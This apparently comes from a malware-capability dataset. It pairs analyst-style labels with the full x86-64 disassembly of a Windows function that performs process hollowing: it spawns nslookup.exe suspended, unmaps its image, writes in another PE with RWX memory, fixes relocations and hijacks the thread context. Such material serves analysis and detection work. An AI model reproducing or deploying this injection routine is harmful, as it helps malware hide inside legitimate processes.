Function at 0x1400011a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Patch process command line
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x7f8]
sub rsp, 0x8f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
xorps xmm0, xmm0
mov qword [r11 + 8], rbx
xor eax, eax
mov qword [r11 + 0x18], rsi
lea rcx, str.ntdll
mov qword [rbp - 0x70], rax
mov rsi, rdx
mov qword [rsp + 0x78], rdx
movups xmmword [rbp + 0x288], xmm0
mov dword [rbp + 0x280], 0x68
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm0
movups xmmword [rbp + 0x2b8], xmm0
movups xmmword [rbp + 0x2c8], xmm0
movups xmmword [rbp + 0x2d8], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
jne 0x14000124a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_get_ntdll_module
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000175b
lea rdx, str.NtUnmapViewOfSection
mov qword [rsp + 0x918], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x14000128b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_get_NtUnmapViewOfSection
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x140001753
lea rdx, str.NtQueryInformationProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400012c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_get_NtQueryInformationProcess
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x140001753
lea rax, [rbp - 0x80]
mov qword [rsp + 0x8d8], r14
mov qword [rsp + 0x48], rax
lea rdx, str.nslookup.exe
xor r14d, r14d
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001335
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_create_process
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000174b
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x2a0
call fcn.140001070
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0x278]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rax
mov r9d, 0x30
mov dword [rbp + 0x278], r14d
lea r8, [rbp - 0x68]
xor edx, edx
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
call rbx
test eax, eax
jns 0x140001399
mov r8d, eax
lea rdx, str.Failed_to_retreive_process_information
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000174b
mov rdx, qword [rbp - 0x60]
lea r8, [rbp - 0x30]
mov rcx, qword [rbp - 0x80]
mov r9d, 0x2a0
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400013db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_read_PEB
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000174b
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x80]
call rdi
test eax, eax
jns 0x140001404
mov r8d, eax
lea rdx, str.Failed_to_unmap_executable_module_of_target_process
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000174b
mov rdx, qword [rbp - 0x20]
mov r9d, 0x3000
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x8e8], r12
mov qword [rsp + 0x8e0], r13
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov dword [rsp + 0x20], 0x40
mov qword [rsp + 0x68], r13
mov r8d, dword [r13 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x140001469
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_allocate_memory_for_image
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000173b
sub rax, qword [r13 + 0x30]
mov r8, rsi
mov r9d, dword [r13 + 0x54]
mov rdx, r12
mov qword [r13 + 0x30], r12
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_write_header
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000173b
movzx eax, word [r13 + 6]
mov ebx, r14d
cmp r14w, ax
jae 0x140001500
mov eax, ebx
mov qword [rsp + 0x20], r14
lea rcx, [rax + rax*4]
mov r8d, dword [r13 + rcx*8 + 0x11c]
mov edx, dword [r13 + rcx*8 + 0x114]
add r8, rsi
mov r9d, dword [r13 + rcx*8 + 0x118]
add rdx, r12
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r13 + 6]
inc ebx
cmp ebx, eax
jb 0x1400014c2
movzx edx, word [0x14000351c]
mov ecx, r14d
movzx r8d, byte [0x14000351e]
mov r9d, dword [str..reloc]
mov word [rsp + 0x52], dx
mov byte [rsp + 0x50], r8b
mov dword [rsp + 0x58], ecx
mov dword [rsp + 0x5c], r9d
cmp r14w, ax
jae 0x14000169f
mov qword [rsp + 0x8d0], r15
mov r10d, 0x1000
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
lea rcx, [rax*4 + 0x21]
add rcx, rax
lea rcx, [rcx*8]
add rcx, r13
mov qword [rsp + 0x70], rcx
cmp dword [rcx], r9d
jne 0x140001680
cmp word [rcx + 4], dx
jne 0x140001680
cmp byte [rcx + 6], r8b
jne 0x140001680
cmp dword [r13 + 0xb4], 0
mov r15d, r14d
mov dword [rsp + 0x54], r14d
jbe 0x140001680
mov r14d, dword [rcx + 0x14]
mov eax, r15d
add rax, rsi
add r14, rax
mov eax, dword [r14 + 4]
lea rbx, [r14 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140001657
mov r13, qword [rsp + 0x60]
xor r15d, r15d
mov esi, eax
nop
movzx eax, word [rbx]
cmp ax, r10w
jb 0x140001639
mov edi, dword [r14]
lea r8, [rbp + 0x270]
mov rcx, qword [rbp - 0x80]
and eax, 0xfff
add rax, r12
mov qword [rbp + 0x270], r15
add rdi, rax
mov qword [rsp + 0x20], r15
mov rdx, rdi
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rbp - 0x80]
lea r8, [rbp + 0x270]
add qword [rbp + 0x270], r13
mov r9d, 8
mov rdx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r10d, 0x1000
add rbx, 2
sub rsi, 1
jne 0x1400015d0
mov r15d, dword [rsp + 0x54]
mov r13, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add r15d, dword [r14 + 4]
mov dword [rsp + 0x54], r15d
cmp r15d, dword [r13 + 0xb4]
jb 0x1400015a0
movzx edx, word [rsp + 0x52]
xor r14d, r14d
movzx r8d, byte [rsp + 0x50]
mov r9d, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
movzx eax, word [r13 + 6]
inc ecx
mov dword [rsp + 0x58], ecx
cmp ecx, eax
jb 0x140001550
mov r15, qword [rsp + 0x8d0]
xor edx, edx
lea rcx, [rbp + 0x2f0]
mov r8d, 0x4d0
call fcn.140001070
mov rcx, qword [rbp - 0x78]
lea rdx, [rbp + 0x2f0]
mov dword [rbp + 0x320], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400016f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_get_context
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000173b
mov eax, dword [r13 + 0x28]
lea rdx, [rbp + 0x2f0]
mov rcx, qword [rbp - 0x78]
add rax, r12
mov qword [rbp + 0x370], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001731
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_set_context
lea rcx, str._____s__Error_0x_x
call fcn.140001010
jmp 0x14000173b
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r13, qword [rsp + 0x8e0]
mov r12, qword [rsp + 0x8e8]
mov r14, qword [rsp + 0x8d8]
mov rdi, qword [rsp + 0x918]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x900]
test rsi, rsi
je 0x140001781
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp - 0x78]
mov rsi, qword [rsp + 0x910]
test rcx, rcx
je 0x140001798
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400017a7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140001bd0
add rsp, 0x8f0
pop rbp
ret